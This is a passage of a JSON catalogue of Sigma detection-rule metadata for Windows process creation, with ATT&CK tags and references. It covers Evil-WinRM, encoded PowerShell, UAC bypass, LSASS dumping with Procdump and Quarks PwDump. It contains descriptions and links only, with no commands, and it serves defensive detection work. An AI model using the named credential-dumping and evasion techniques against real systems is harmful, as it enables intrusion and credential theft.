          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d2125259-ddea-4c1c-9c22-977eb5b29cf0",
      "value": "New Root Certificate Installed Via Certutil.EXE"
    },
    {
      "description": "Detect use of X509Enrollment",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "proc_creation_win_powershell_x509enrollment.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42",
          "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115",
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_x509enrollment.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "114de787-4eb2-48cc-abdb-c0b449f93ea4",
      "value": "Suspicious X509Enrollment - Process Creation"
    },
    {
      "description": "Detects the execution of a renamed \"Msdt.exe\" binary",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/06/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_renamed_msdt.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Msdt/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9",
      "value": "Renamed Msdt.EXE Execution"
    },
    {
      "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_evil_winrm.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Hackplayers/evil-winrm",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_evil_winrm.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423",
      "value": "HackTool - WinRM Access Via Evil-WinRM"
    },
    {
      "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/18",
        "falsepositive": [
          "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)"
        ],
        "filename": "proc_creation_win_wpbbin_potential_persistence.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/wpbbin.html",
          "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_potential_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1542.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145",
      "value": "UEFI Persistence Via Wpbbin - ProcessCreation"
    },
    {
      "description": "Detects the execution of \"wmic\" with the \"process\" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "221b251a-357a-49a9-920a-271802777cc0",
      "value": "Process Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_utilityfunctions.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120",
      "value": "UtilityFunctions.ps1 Proxy Dll"
    },
    {
      "description": "Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/11/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powercfg_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html",
          "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powercfg_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "f8d6a15e-4bc8-4c27-8e5d-2b10f0b73e5b",
      "value": "Suspicious Powercfg Execution To Change Lock Screen Timeout"
    },
    {
      "description": "Detects uncommon or suspicious child processes of \"eventvwr.exe\" which might indicate a UAC bypass attempt",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_eventvwr_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100",
          "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_eventvwr_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002",
          "car.2019-04-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "be344333-921d-4c4d-8bb8-e584cf584780",
      "value": "Potentially Suspicious Event Viewer Child Process"
    },
    {
      "description": "Identifies the creation of local users via the net.exe command.",
      "meta": {
        "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)",
        "creation_date": "2018/10/30",
        "falsepositive": [
          "Legitimate user creation.",
          "Better use event IDs for user creation rather than command line rules."
        ],
        "filename": "proc_creation_win_net_user_add.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc",
      "value": "New User Created Via Net.EXE"
    },
    {
      "description": "Detects execution of \"aspnet_compiler.exe\" with potentially suspicious paths for compilation.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_aspnet_compiler_susp_paths.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/",
          "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_paths.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f50fe98-fe5c-4a2d-86c7-fad7f63ed622",
      "value": "Potentially Suspicious ASP.NET Compilation Via AspNetCompiler"
    },
    {
      "description": "This rule detects the execution of Run Once task as configured in the registry",
      "meta": {
        "author": "Avneet Singh @v3t0_, oscd.community, Christopher Peacock @SecurePeacock (updated)",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_runonce_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Runonce/",
          "https://twitter.com/pabraeken/status/990717080805789697",
          "https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_runonce_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c",
      "value": "Run Once Task Execution as Configured in Registry"
    },
    {
      "description": "Commandline to launch powershell with a base64 payload",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_encode.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
          "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encode.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7",
      "value": "Suspicious Execution of Powershell with Base64"
    },
    {
      "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/05/24",
        "falsepositive": [
          "Other tools that work with encoded scripts in the command line instead of script files"
        ],
        "filename": "proc_creation_win_powershell_encoded_cmd_patterns.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoded_cmd_patterns.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c",
      "value": "Suspicious PowerShell Encoded Command Patterns"
    },
    {
      "description": "Detects the execution of the certutil with the \"exportPFX\" flag which allows the utility to export certificates.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "There legitimate reasons to export certificates. Investigate the activity to determine if it's benign"
        ],
        "filename": "proc_creation_win_certutil_export_pfx.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_export_pfx.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3ffd6f51-e6c1-47b7-94b4-c1e61d4117c5",
      "value": "Certificate Exported Via Certutil.EXE"
    },
    {
      "description": "Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sysinternals_psexec_remote_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec",
          "https://www.poweradmin.com/paexec/",
          "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_remote_execution.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1587.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ea011323-7045-460b-b2d7-0f7442ea6b38",
      "value": "Potential PsExec Remote Execution"
    },
    {
      "description": "Detects calls to \"SyncInvoke\" that is part of the \"CL_Invocation.ps1\" script to proxy execution using \"System.Diagnostics.Process\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), oscd.community, Natalia Shornikova",
        "creation_date": "2020/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_cl_invocation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/bohops/status/948061991012327424",
          "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_invocation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429",
      "value": "Potential Process Execution Proxy Via CL_Invocation.ps1"
    },
    {
      "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.",
      "meta": {
        "author": "Tim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)",
        "creation_date": "2022/10/21",
        "falsepositive": [
          "File located in the AppData folder with trusted signature"
        ],
        "filename": "proc_creation_win_office_onenote_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://micahbabinski.medium.com/detecting-onenote-one-malware-delivery-407e9321ecf0",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_onenote_susp_child_processes.yml"
        ],
        "tags": [
          "attack.t1566",
          "attack.t1566.001",
          "attack.initial_access"
        ]
      },
      "related": [
        {
          "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775",
      "value": "Suspicious Microsoft OneNote Child Process"
    },
    {
      "description": "Detects the execution of a renamed \"ftp.exe\" binary based on the PE metadata fields",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_ftp.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ftp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059",
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c",
      "value": "Renamed FTP.EXE Execution"
    },
    {
      "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process.\nThis way we are also able to catch cases in which the attacker has renamed the procdump executable.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/10/30",
        "falsepositive": [
          "Unlikely, because no one should dump an lsass process memory",
          "Another tool that uses command line flags similar to ProcDump"
        ],
        "filename": "proc_creation_win_sysinternals_procdump_lsass.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/procdump",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_lsass.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1036",
          "attack.credential_access",
          "attack.t1003.001",
          "car.2013-05-009"
        ]
      },
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        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998",
      "value": "Potential LSASS Process Dump Via Procdump"
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      "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_jsc.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Jsc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568",
      "value": "JSC Convert Javascript To Executable"
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      "description": "Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters.\nThis is used as an obfuscation and masquerading techniques. Only \"perfect\" homoglyphs are included; these are characters that\nare indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.\n",
      "meta": {
        "author": "Micah Babinski, @micahbabinski",
        "creation_date": "2023/05/07",
        "falsepositive": [
          "Commandlines with legitimate Cyrillic text; will likely require tuning (or not be usable) in countries where these alphabets are in use."
        ],
        "filename": "proc_creation_win_susp_homoglyph_cyrillic_lookalikes.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish",
          "http://www.irongeek.com/homoglyph-attack-generator.php",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_homoglyph_cyrillic_lookalikes.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "32e280f1-8ad4-46ef-9e80-910657611fbc",
      "value": "Potential Homoglyph Attack Using Lookalike Characters"
    },
    {
      "description": "Detects usage of the Quarks PwDump tool via commandline arguments",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_quarks_pwdump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/quarkslab/quarkspwdump",
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
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        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0685b176-c816-4837-8e7b-1216f346636b",
      "value": "HackTool - Quarks PwDump Execution"
    },
    {
      "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/13",
        "falsepositive": [
          "Possible undocumented parents of \"msdt\" other than \"pcwrun\""
        ],
        "filename": "proc_creation_win_lolbin_msdt_answer_file.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Msdt/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955",
      "value": "Execute MSDT Via Answer File"
    },
    {
      "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack",
      "meta": {
        "author": "Trent Liffick",
        "creation_date": "2020/05/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_lnk.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lnk.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1202",
          "attack.t1027.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b",
      "value": "Findstr Launching .lnk File"
    },
    {
      "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/08/19",
        "falsepositive": [
          "GPO"
        ],
        "filename": "proc_creation_win_reg_screensaver.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_screensaver.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1546.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f",
      "value": "Suspicious ScreenSave Change by Reg.exe"
    },
    {
      "description": "Detects usage of a base64 encoded \"FromBase64String\" cmdlet in a process command line",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_base64_frombase64string.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_frombase64string.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
